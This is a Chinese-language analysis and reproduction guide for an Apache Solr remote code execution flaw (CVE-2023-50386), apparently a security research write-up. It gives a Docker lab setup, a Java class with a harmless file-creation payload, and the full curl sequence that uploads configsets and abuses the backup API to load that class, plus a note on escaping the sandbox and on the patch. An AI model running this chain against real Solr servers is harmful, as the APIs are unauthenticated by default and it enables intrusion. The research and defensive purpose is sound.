Apache Solr Backup/Restore APIs RCE (CVE-2023-50386)分析及挖掘思路
字数 1319 2025-08-06 08:35:30
Apache Solr Backup/Restore APIs RCE (CVE-2023-50386) 深入分析与利用指南
漏洞概述
Apache Solr 在创建 Collection 时会以特定目录作为 classpath 加载类文件,而备份功能可以导出攻击者上传的恶意 class 文件到该目录,导致任意 Java 代码执行。该漏洞可绕过 Solr 配置的 Java 沙箱,最终实现任意命令执行。
漏洞编号: CVE-2023-50386
官方通告: Apache Solr 安全公告
影响范围
- Apache Solr 6.0.0 至 8.11.2
- Apache Solr 9.0.0 至 9.4.1 之前的版本
- 仅影响 SolrCloud 模式
环境搭建
# 启动并进入Solr容器
docker run --rm -ti --name solr9.0.0 -p 8983:8983 -p 5005:5005 solr:9.0.0 bash
# 以SolrCloud模式启动Solr,并附加Java调试参数
solr start -c -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
漏洞复现步骤
1. 准备Solr默认配置文件
# 以root权限进入Solr容器
docker exec -ti -uroot solr9.0.0 bash
# 打包默认配置文件
cd /opt/solr-9.0.0/server/solr/configsets/_default
tar cf conf.tar conf/
exit
# 复制配置文件到本地
docker cp solr9.0.0:/opt/solr-9.0.0/server/solr/configsets/_default/conf.tar ~/Desktop/test/
tar xf conf.tar
2. 编译恶意class文件
创建Java类文件 Exp.java:
package zk_backup_0.configs.conf1;
import java.io.File;
public class Exp {
static {
try {
new File("/tmp/success").createNewFile();
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译时注意Java版本兼容性(容器内使用Java 17):
javac Exp.java
3. 上传配置文件conf1
# 将恶意class放入配置文件目录
mv zk_backup_0/configs/conf1/Exp.class conf/
# 打包并上传
cd conf
zip -q -r conf1.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"
4. 使用conf1创建collection1
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"
5. 备份collection1导出conf1
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"
6. 再次备份导出到lib目录
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"
此时恶意class文件位于: /var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1/
7. 修改并上传配置文件conf2
编辑 solrconfig.xml,取消 valueSourceParser 标签注释并修改为:
<valueSourceParser name="myfunc" class="zk_backup_0.configs.conf1.Exp" />
打包上传:
rm Exp.class conf1.zip
zip -q -r conf2.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"
8. 使用conf2创建collection2触发RCE
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"
沙箱绕过技术
虽然Solr通过这种方式执行Java代码会受到沙箱限制,但可以通过创建自定义ClassLoader绕过。参考: Java沙箱逃逸技术
清理环境
curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf2"
漏洞分析
关键点
- 类加载机制: Solr在创建Collection时会加载配置文件中设置的Java类,classpath为特定目录
- 备份功能: 备份Collection时会导出用户上传的配置文件
- 路径可控: 备份导出的路径在一定程度上可控
- 未授权访问: 相关API接口默认情况下均可未授权访问
调试分析
-
加载lib路径:
- 断点位置:
org.apache.solr.handler.admin.CollectionsHandler#handleRequestBody - 关键代码:
org.apache.solr.core.SolrConfig#initLibs - libPath:
/var/solr/data/test_collection_shard1_replica_n1/lib - 该路径下的Jar包和一级子目录会被作为URLClassLoader的urls
- 断点位置:
-
写入lib路径:
- 通过备份API将恶意class写入特定目录
- 利用Java包名结构匹配多级子目录路径
漏洞修复
官方修复补丁: GitHub提交
主要增加了备份导出时的文件类型黑名单。